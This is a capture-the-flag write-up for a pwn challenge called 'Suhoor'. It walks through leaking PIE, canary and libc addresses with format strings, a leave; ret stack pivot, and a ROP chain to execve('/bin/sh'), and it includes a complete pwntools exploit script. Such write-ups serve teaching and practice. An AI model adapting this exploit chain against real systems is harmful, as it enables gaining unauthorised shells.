Post

Ramadan CTF 2026 - Suhoor

Ramadan CTF 2026 - Suhoor

[ Suhoor ] Writeup

Category: Pwn (Stack Pivot + Format String Libc Leak + ROP)
Difficulty: Medium-Hard Author: 4n7h4r4x

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • ghidra / gdb for reverse engineering
  • ropper for finding gadgets
  • python3 (pwntools) for exploit scripting and fuzzing

Overview

This challenge has all the modern mitigations enabled: PIE, canary, NX. We’re going to need multiple leaks and a stack pivot to pull off a syscall-based execve("/bin/sh"). It comes with a custom libc.so.6 and ld-linux-x86-64.so.2.

This is a multi-stage exploit:

  1. Leak PIE base, canary, and libc base using format strings
  2. Write a ROP chain to a known global variable
  3. Stack pivot to that ROP chain
  4. Execute execve("/bin/sh", NULL, NULL) via syscall

Patching the binary

I made sure to patch the binary correctly so it uses the libc from the same directory ( rpath is already set to ./ ) but in case sthg dosent work use patchelf command as follows and it’ll work fine :

patch


Initial Recon

Running file and checksec:

file and checksec

Everything is on. No easy shortcuts here.


Reverse Engineering

The binary has a format string vulnerability in the first input and two more inputs afterward:

ghidra ghidra

  1. First prompt (“traveler?”): our input is passed to printfformat string vulnerability.
  2. Second prompt: reads into a global variable at a known offset from PIE base.
  3. Third prompt: reads into a stack buffer with limited size (0x28 bytes buffer + canary + RBP + RIP).

The stack buffer is small, only giving us control over canary + RBP + RIP – not enough room for a full ROP chain. That’s why we need a stack pivot.


Step 1: Fuzzing for Useful Leaks

We use a fuzzing script to find which format string offsets leak useful values:

1
2
3
4
5
6
7
8
9
from pwn import *

for i in range(1, 50):
    p = process("./suhoor")
    pay = f"%{i}$p".encode()
    p.sendline(pay)
    p.recvuntil(b"traveler?\n")
    print(f"Offset {i}: {p.recvline()}")
    p.close()

After testing, we find:

OffsetValuePurpose
%17$pCode addressLeaks an address in main (offset 0x12fc from PIE base)
%11$pCanaryThe stack canary value
%35$p__libc_start_main+128Used to compute libc base

We can grab all three leaks in a single format string:

1
p.sendline(b"%17$p%11$p%35$p")

Tip: Combining multiple %N$p in one string is efficient, but be careful parsing the output – all hex values are concatenated together.


Step 2: Computing Addresses

From the leaks:

1
2
3
aslr = leaked_main - 0x12fc              # PIE base
libc_base = leaked_libc_start_main - 128 - libc.symbols["__libc_start_main"]
global_var = aslr + 0x4060               # known writable global variable

From the provided libc, we extract ROP gadgets:

1
2
3
4
5
6
7
leave     = p64(libc_base + 0x4da83)    # leave; ret
pop_rax   = p64(libc_base + 0x45eb0)
pop_rdi   = p64(libc_base + 0x2a3e5)
pop_rsi   = p64(libc_base + 0x14a6df)
pop_rdx_r12 = p64(libc_base + 0x11f367)
binsh     = p64(libc_base + 0x1d8678)   # "/bin/sh" string in libc
syscall   = p64(libc_base + 0x91316)

Step 3: The Stack Pivot

Here’s the trick. The stack buffer is too small for our ROP chain, but we can write to the global variable (second input). So:

  1. Write the ROP chain into the global variable (second input).
  2. Overwrite RBP to point to the global variable (third input).
  3. Use a leave; ret gadget as the return address.

How does leave; ret work?

1
2
leave = mov rsp, rbp; pop rbp
ret   = pop rip

If RBP points to our global variable, leave sets RSP to that address, then pop rbp consumes the first 8 bytes (“FAKERBP!”). Now RSP points to our ROP chain, and ret starts executing it.


Step 4: The ROP Chain

Our ROP chain performs execve("/bin/sh", NULL, NULL):

1
2
3
4
5
pop rdi; ret  -> "/bin/sh"     (rdi = pointer to "/bin/sh")
pop rsi; ret  -> 0             (rsi = NULL)
pop rdx; r12; ret -> 0, 0      (rdx = NULL)
pop rax; ret  -> 0x3b          (rax = 59 = execve syscall number)
syscall; ret

Tip: Syscall number 0x3b (59) is execve on x86-64. You can find all syscall numbers at x64.syscall.sh.


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.binary = elf = ELF("suhoor", checksec=False)
context.arch = "amd64"

libc = ELF("./libc.so.6")

#p = elf.process()
p = remote("localhost", 6080)

# Stage 1: Leak PIE, canary, libc
p.recvuntil(b"traveler?")
p.sendline(b"%17$p%11$p%35$p")

p.recvline()
leaks = p.recvline()[:-1]
leaks = leaks.split(b"0x")
leaks = [b"0x" + leaks[i] for i in range(1, 4)]

leaked_main = int(leaks[0], 16)
leaked_canary = int(leaks[1], 16)
leaked_libc_start_main = int(leaks[2], 16) - 128

aslr = leaked_main - 0x12fc
libc_base = leaked_libc_start_main - libc.symbols["__libc_start_main"]
global_var = aslr + 0x4060

# Libc gadgets
leave       = p64(libc_base + 0x4da83)
pop_rax     = p64(libc_base + 0x45eb0)
pop_rdi     = p64(libc_base + 0x2a3e5)
pop_rsi     = p64(libc_base + 0x14a6df)
pop_rdx_r12 = p64(libc_base + 0x11f367)
binsh       = p64(libc_base + 0x1d8678)
syscall     = p64(libc_base + 0x91316)

# Stage 2: Write ROP chain to global variable
rop_chain = b"FAKERBP!"  # consumed by pop rbp in leave
rop_chain += pop_rdi + binsh
rop_chain += pop_rsi + p64(0)
rop_chain += pop_rdx_r12 + p64(0) + p64(0)
rop_chain += pop_rax + p64(0x3b)
rop_chain += syscall

p.recvuntil(b"> ")
p.send(rop_chain)

# Stage 3: Overflow stack buffer -> pivot to global variable
pay = b"A" * 0x28 + p64(leaked_canary) + p64(global_var) + leave

p.recvuntil(b"> ")
p.send(pay)

p.interactive()

flag


Key Takeaways

  • Format strings are powerful. A single format string vulnerability can leak PIE base, canary, and libc base all at once.
  • Stack pivoting lets you execute large ROP chains even when the overflow is small. Write your chain somewhere writable, point RBP there, and use leave; ret.
  • leave; ret is the quintessential stack pivot gadget: mov rsp, rbp; pop rbp; pop rip. Master this sequence.
  • Always fuzz format string offsets to find what’s on the stack. A helper script that iterates %1$p through %50$p saves a lot of time.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.